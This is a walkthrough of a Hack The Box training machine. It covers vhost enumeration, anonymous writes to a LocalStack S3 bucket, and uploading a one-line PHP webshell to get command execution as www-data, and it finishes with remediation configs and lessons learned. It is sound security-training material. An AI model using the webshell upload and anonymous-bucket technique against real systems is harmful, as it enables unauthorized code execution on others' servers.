TL;DR

Three is a Tier 1 box that teaches S3 bucket enumeration combined with virtual host discovery. A port scan finds SSH and HTTP. The website identifies the hostname thetoppers.htb. Subdomain fuzzing reveals s3.thetoppers.htb — a LocalStack (mock AWS S3) endpoint. The thetoppers.htb S3 bucket is publicly writable with no authentication. Uploading a PHP webshell to the bucket places it in the web root (LocalStack syncs bucket contents to /var/www/html/). The webshell provides RCE as www-data. The flag is at /var/www/flag.txt. The lesson: S3 bucket misconfiguration can be a direct path to server-side code execution when the bucket contents are served as a web application.

Recon

1. Liveness check

$ ping -c 2 10.129.36.105
64 bytes from 10.129.36.105: icmp_seq=0 ttl=63 time=34.2 ms
64 bytes from 10.129.36.105: icmp_seq=1 ttl=63 time=36.8 ms

TTL=63 → Linux.

2. Port scan

$ nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.36.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)

Two ports: SSH and HTTP. The page title “The Toppers” identifies the hostname.

3. Web application fingerprint

curl -s http://10.129.36.105/ | grep -i "thetoppers\|toppers"

The HTML source contains references to thetoppers.htb. Add to /etc/hosts:

echo "10.129.36.105 thetoppers.htb" >> /etc/hosts

The site is a static music band page — no login forms, no CMS. Contact form leads to a dead PHP page (action_page.php returns 404). Directory listing is enabled at /images/.

Foothold

Dead end #1 — directory fuzzing the main site

ffuf -u http://thetoppers.htb/FUZZ -w /tmp/common.txt -mc 200,301,302
# Found: /images/ (directory listing), nothing else interesting

No hidden paths on the main vhost. The attack surface isn’t here.

Dead end #2 — looking for API or admin endpoints

for path in admin wp-admin .git api graphql console phpmyadmin; do
    curl -s -o /dev/null -w "%{http_code} $path\n" http://thetoppers.htb/$path
done
# All 404

Nothing. The web application itself is not the attack vector.

Step — Virtual host enumeration

Since the main site has nothing, the attack likely involves a subdomain:

# Download a subdomain wordlist
curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt -o /tmp/subdomains.txt

# Fuzz subdomains with ffuf
ffuf -u http://10.129.36.105/ -H "Host: FUZZ.thetoppers.htb" \
  -w /tmp/subdomains.txt -mc 200 -fs 11952

Result:

s3                      [Status: 200, Size: 454]

s3.thetoppers.htb responds with HTTP 200.

Add to /etc/hosts:

echo "10.129.36.105 s3.thetoppers.htb" >> /etc/hosts

Probing the S3 endpoint

curl http://s3.thetoppers.htb/
# → {"status": "running"}

This is a LocalStack instance — a mock AWS S3 service for local development. LocalStack exposes the same AWS S3 API but without real IAM authentication.

Working approach — unauthenticated S3 access

List the bucket contents:

aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb \
  --no-sign-request
# 2021-04-09 21:27:06     11952 index.php
# 2021-04-09 21:27:06      2514 .htaccess
# 2021-04-09 21:27:06    (various) css/, images/, js/

The bucket thetoppers.htb contains the web application files (index.php, .htaccess). This means the bucket is the web root — files uploaded here are served directly by Apache.

Test write access:

echo "test" | aws s3 cp - s3://thetoppers.htb/test.txt \
  --endpoint-url http://s3.thetoppers.htb --no-sign-request
# upload: - to s3://thetoppers.htb/test.txt
curl http://thetoppers.htb/test.txt
# → test

Write is allowed. Upload a PHP webshell:

echo '<?php system($_GET["cmd"]); ?>' | aws s3 cp - s3://thetoppers.htb/shell.php \
  --endpoint-url http://s3.thetoppers.htb --no-sign-request \
  --content-type 'application/x-httpd-php'

Verify RCE:

curl "http://thetoppers.htb/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed as www-data.

Flag retrieval

curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
# → [REDACTED]

Privilege Escalation

N/A — Starting Point Tier 1 objective is the www-data-level flag at /var/www/flag.txt. The box log shows the machine was running in-progress Docker/LocalStack manipulation attempts for further escalation, but the Starting Point flag objective is satisfied at the www-data level.

Further escalation from www-data to root on this machine was explored but not completed within the session: the LocalStack Docker socket path was discovered, but the service restart required to apply a malicious docker-compose.yml needed root access — a chicken-and-egg problem.

What’s actually broken

  1. S3 bucket publicly writable without authentication. The thetoppers.htb bucket accepts PUT requests with --no-sign-request. In real AWS deployments, this corresponds to a bucket policy with "Effect": "Allow", "Principal": "*" for s3:PutObject. This is a misconfigured bucket ACL.
  2. Bucket contents served directly as a web application. Synchronizing an S3 bucket to a web root means any file uploaded to S3 is immediately executable by Apache. Uploaded PHP → instant RCE.
  3. LocalStack deployed with no authentication. LocalStack’s default configuration has no access control. It’s designed for local development — deploying it on a production or internet-facing server defeats its purpose.
  4. S3 subdomain not firewalled from external access. The s3.thetoppers.htb endpoint should only be reachable from the application server itself, not the public internet.

Remediation (the boring half)

Fix the bucket policy (real AWS):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::thetoppers.htb/*"
    }
  ]
}

Restrict LocalStack to localhost:

# Bind LocalStack to localhost only (prevents external access)
docker run -d --name localstack \
  -p 127.0.0.1:4566:4566 \
  localstack/localstack:latest

Block the S3 subdomain from external access at nginx:

server {
    listen 80;
    server_name s3.thetoppers.htb;
    allow 127.0.0.1;
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://127.0.0.1:4566;
}

Lessons learned

  • S3 subdomains are not enumerated by standard directory fuzzers. Standard wordlists include s3, aws, storage, cdn as subdomain candidates, but you need vhost/subdomain fuzzing — not path fuzzing — to find them. The technique (ffuf with Host: header) is different.
  • --no-sign-request tests for public bucket access. If the AWS CLI command succeeds with --no-sign-request, the bucket allows anonymous access. This is your first test after finding any S3-like endpoint.
  • S3-to-webroot sync = RCE if you can write. If a bucket is writable and its contents are served as a web application, upload a script. This pattern appears in real-world misconfigured CloudFront/S3 deployments.
  • LocalStack is for development only. Anything with {"status": "running"} on a mock S3 endpoint in a CTF (or production) should be treated as unauthenticated unless proven otherwise.

References